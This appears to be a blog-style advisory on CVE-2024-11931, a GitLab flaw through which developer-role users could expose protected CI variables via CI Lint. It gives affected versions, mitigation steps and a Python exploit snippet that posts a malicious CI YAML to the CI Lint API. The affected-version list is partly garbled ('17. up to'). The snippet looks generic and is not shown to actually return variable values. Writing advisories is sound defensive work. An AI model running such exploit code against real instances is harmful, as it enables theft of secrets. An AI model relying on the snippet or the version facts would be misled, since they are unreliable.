CVE-2024-11931: GitLab CI Lint Vulnerability Exposes Protected CI Variables for Users with Developer Role

As developers and security professionals, it's essential to stay informed about the latest vulnerabilities and exploits in the software we use. Today, we will discuss a newly discovered vulnerability in GitLab, identified as CVE-2024-11931. This issue allows users with developer roles to exfiltrate protected continuous integration (CI) variables under specific conditions. Keep reading to learn more about the vulnerability, affected GitLab versions, and how to mitigate its potential impact.

Vulnerability Overview

A security issue has been identified in GitLab Community Edition (CE) and Enterprise Edition (EE) versions. Due to this vulnerability, users with a developer role were able to exfiltrate protected CI variables via CI Lint. As a result, unauthorized access to sensitive information such as API tokens, credentials, or other secrets could have been possible, leading to malicious actors gaining unauthorized access to information and resources.

The CVE-2024-11931 vulnerability affects the following GitLab versions

- GitLab CE/EE 17. up to, but not including 17.6.4
- GitLab CE/EE 17.7 up to, but not including 17.7.3
- GitLab CE/EE 17.8 up to, but not including 17.8.1

If you're using any of the affected GitLab versions, it's crucial to update your instance to the latest patched version.

Exploit Details

In affected GitLab versions, CI Lint allows users to visually validate CI/CD configuration files. However, due to insufficient permission checks, users with only developer permissions could abuse the CI Lint functionality to access protected CI variables. The following code snippet shows an example of such an exploit using the GitLab API:

import requests

# Replace with your GitLab domain, API token, and project ID
gitlab_domain = "https://your.gitlab.domain";
api_token = "your-api-token"
project_id = "your-project-id"

# Set up a CI Lint API call
url = f"{gitlab_domain}/api/v4/projects/{project_id}/ci/lint"
headers = {
    "Content-Type": "application/json",
    "Private-Token": api_token,
}

# Prepare a malicious CI configuration to access protected CI variables
ci_yaml_payload = '''
stages:
  - exploit

exploit:
  stage: exploit
  script:
    - echo "Malicious Actor: $PROTECTED_CI_VARIABLE"
'''

payload = {"content": ci_yaml_payload}

# Call the GitLab CI Lint API
response = requests.post(url, headers=headers, json=payload)

# Print the response
print(response.text)

By using this exploit, a malicious actor with developer permissions may have been able to exfiltrate protected CI variables, exposing potentially sensitive information.

For more information about the vulnerability, refer to the following sources

- GitLab Security Release Blog Post
- CVE Details: CVE-2024-11931

Mitigation

If you are using an affected GitLab version, you should immediately update your GitLab instance to the latest, patched version:

- GitLab CE/EE 17.6.4
- GitLab CE/EE 17.7.3
- GitLab CE/EE 17.8.1

To update your GitLab instance, you can refer to the official GitLab update documentation.

Furthermore, you should also audit your CI/CD configurations and review access permissions for users with developer roles. Limit these permissions only to individuals who require them and monitor their activity to ensure proper handling of protected CI variables.

By addressing this vulnerability and applying the necessary updates, you will be taking a critical step toward ensuring the security and integrity of your GitLab environment and protecting your organization's sensitive information and resources.

Timeline

Published on: 01/24/2025 03:15:06 UTC
Last modified on: 02/05/2025 21:15:22 UTC